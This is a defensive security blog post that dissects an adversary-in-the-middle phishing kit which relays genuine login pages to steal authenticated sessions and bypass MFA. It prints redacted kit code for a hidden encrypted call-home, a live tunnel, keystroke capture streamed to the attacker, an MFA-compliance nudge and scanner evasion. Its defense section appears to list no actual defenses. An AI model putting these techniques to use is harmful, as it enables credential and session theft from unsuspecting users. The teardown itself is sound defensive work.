◆ CYDRA · Research
DEFENSIVE THREAT ANALYSIS The login page is real. The theft is live. Adversary-in-the-middle phishing — and why your MFA doesn’t stop it. Attacker relay You Real service your logged-in session, stolen live
Defensive threat analysis

The phishing page that loads the real login

A look at an adversary-in-the-middle kit that doesn't fake your sign-in screen — it proxies the genuine one, live, and walks off with the session your password and MFA just created.

Phishing kit teardown · Indicators, brands, infrastructure & keys withheld · November 2026

For years the advice has been the same: before you type your password, look at the page. Check the URL for typos. Watch for the slightly-wrong logo, the clumsy layout, the off-brand font. Spot the fake.

That advice is quietly going obsolete. I recently pulled apart a phishing kit that never builds a fake login page at all. It serves an almost-empty shell, opens a tunnel back to the attacker, and streams you the authentic sign-in page — the real HTML, the real logo, the real everything — because it is literally relaying the target's own website to you in real time. There is nothing visually wrong to spot, because nothing about what you see is fake. Only the wire underneath it is.

This is adversary-in-the-middle (AitM) phishing, and it's worth understanding in plain terms, because it changes what "be careful" has to mean. What follows is a sanitized walkthrough — brand names, domains, indicators and the kit's encryption key are deliberately left out.

01What it actually is

Classic phishing is a copy: the attacker rebuilds a login page, hosts it, and collects whatever you type. It's static, and it's catchable — the copy is never perfect, and your password alone is often useless once multi-factor authentication (MFA) kicks in.

This kit is a proxy, not a copy. Think of it as a hostile middleman sitting on the phone line between you and the real service. When you load the link, the kit connects to the attacker's server; that server opens the real login on your behalf and pipes it to your screen. You type; your keystrokes are relayed to the real site. The real site replies; that reply is relayed back to you. To you it's a flawless login. To the attacker it's a live feed of everything — including the one thing that actually matters.

It isn't trying to steal your password. It's trying to steal the session your password unlocks.

02The attack, end to end

Here's the whole sequence in one picture. Every message between you and the real service passes through the attacker's relay in the middle — and the thing they walk away with is never something you typed.

Victim Attacker relay Real service 1 · clicks lure, opens an encrypted tunnel 2 · relay opens the genuine login 3 · real login page streamed back — looks authentic 4 · password typed — captured and relayed live 5 · MFA prompt relayed down; victim approves it 6 · session token issued → attacker captures it The attacker walks away with a live, logged-in session — the victim entered the right password and approved MFA, and it still wasn't enough.
Every exchange between the victim and the genuine service is relayed through the attacker in the middle. Because the attacker is in the loop in real time, a one-time MFA code is still live when it arrives — and the authenticated session it unlocks is the real prize.

03An empty page that knows where to call home

The page that lands in your browser is nearly blank. Its first act is to decrypt its own command server out of the link you clicked — the destination is never written in plain text anywhere on the page, so there's no address to notice or block.

shell.js — simplified & redactedKey redacted
// The page arrives almost empty. Its first job is to
// decrypt its own command host out of a URL parameter.
const host = await decrypt(
  params.get("enc"),          // ciphertext, carried in the link
  "[ REDACTED — hard-coded AES key ]"
);
// No destination is ever written in plain text.
const tunnel = new WebSocket(`wss://${host}/…`);
The real command host is hidden inside an encrypted link parameter. Pull the page apart and you still don't see where it phones home — until you decrypt it.

04It opens a tunnel, not a form

Instead of a form that submits somewhere, the page holds open a two-way connection. The attacker's server pushes down the live target login — genuine brand HTML — and the shell paints it straight onto the screen. This is why "look for the fake" fails: what you're looking at isn't a forgery, it's the real page on a hijacked wire.

relay.js — simplified & redactedBehavior shown
tunnel.onmessage = (event) => {
  const msg = JSON.parse(event.data);
  if (msg.type === "content") {
    // The server streams the REAL login page, live.
    // The victim sees genuine, pixel-perfect brand HTML.
    document.documentElement.innerHTML = msg.content;
    rebindHandlers();
  }
};
Every screen you see — email prompt, password prompt, MFA challenge — is proxied from the real service the instant before you see it.

05Every keystroke goes to the attacker

As you interact, the shell quietly records each field you fill and each button you press, and streams them back up the tunnel. The attacker isn't reading a dump of stolen passwords after the fact — they're watching you sign in, live, with enough detail to replay it against the real site in the same moment.

capture.js — simplified & redactedBehavior shown
function captureInput(selector, value) {
  // Every field the victim types into is logged…
  log.push({ selector, text: value });
}
function captureClick(selector) {
  // …and every click is streamed back up the tunnel.
  log.push({ selector, text: "click" });
  tunnel.send(JSON.stringify(log));
}
Keystrokes and clicks, relayed in real time. Because the attacker is in the loop as it happens, an MFA code isn't a dead one-time value to them — it's live.

06Why your MFA won't save you here

This is the part that surprises people. Traditional MFA — a six-digit code from an app or a text message — assumes the attacker is working after you. They steal a password today, try to use it later, and the code they don't have stops them. But a relay attacker is working during you. When the real service asks for your code, that prompt is relayed to you; you enter it; it's relayed straight back and used instantly. The kit even nudges you through it — injecting a reassuring line at exactly the right step so you don't hesitate at the MFA screen:

nudge.js — simplified & redactedBehavior shown
// Injected right before the MFA step: a calm, on-brand
// line engineered to make the victim comply, not pause.
inject("<div>To continue, first verify it’s you</div>");
Once you approve that prompt, the attacker holds a fully authenticated session — the same thing you'd hold after a legitimate login. The password was never the prize.

07Built to be invisible to scanners

The kit is also designed to slip past the automated tooling that hunts phishing all day. Open the link without the exact parameters an intended victim would have, and it simply forwards you to a well-known, trusted website — so a crawler sees a redirect to a legitimate brand and moves on. The malicious behavior only wakes up for the right visitor.

gate.js — simplified & redactedBehavior shown
const id  = params.get("id");
const enc = params.get("enc");
// No valid link parameters? Bounce to a well-known,
// trusted site, so a passing scanner sees nothing wrong.
if (!id || !enc) {
  window.location.href = "https://[ trusted-brand ].com";
}
To an automated scanner with no link parameters, the page looks like a harmless redirect. The teardown only works because the behavior is in the code, not the appearance.

A few more craftsmanship details stood out: the interface is localized into several languages, it keeps the tunnel alive with periodic heartbeats, and it handles the full flow — email, password, MFA, "try another way" — not just a single credential grab. This isn't a weekend script. It's a product.


What actually stops it

The uncomfortable takeaway: you cannot reliably beat this by looking harder at the page, because the page is real. The defenses that work move the trust away from human judgment and onto cryptography and context.

The question stopped being "does this page look real?" It does. The question is "can my second factor be relayed?" — and for most people, today, the honest answer is yes.

Responsible disclosure. This is a defensive explainer, not a build guide. The code shown is simplified and redacted; brand names, domains, indicators of compromise, infrastructure and the kit's encryption key have been withheld and shared through the appropriate detection and platform channels. Nothing here can be reassembled into a working kit or used to reach live infrastructure.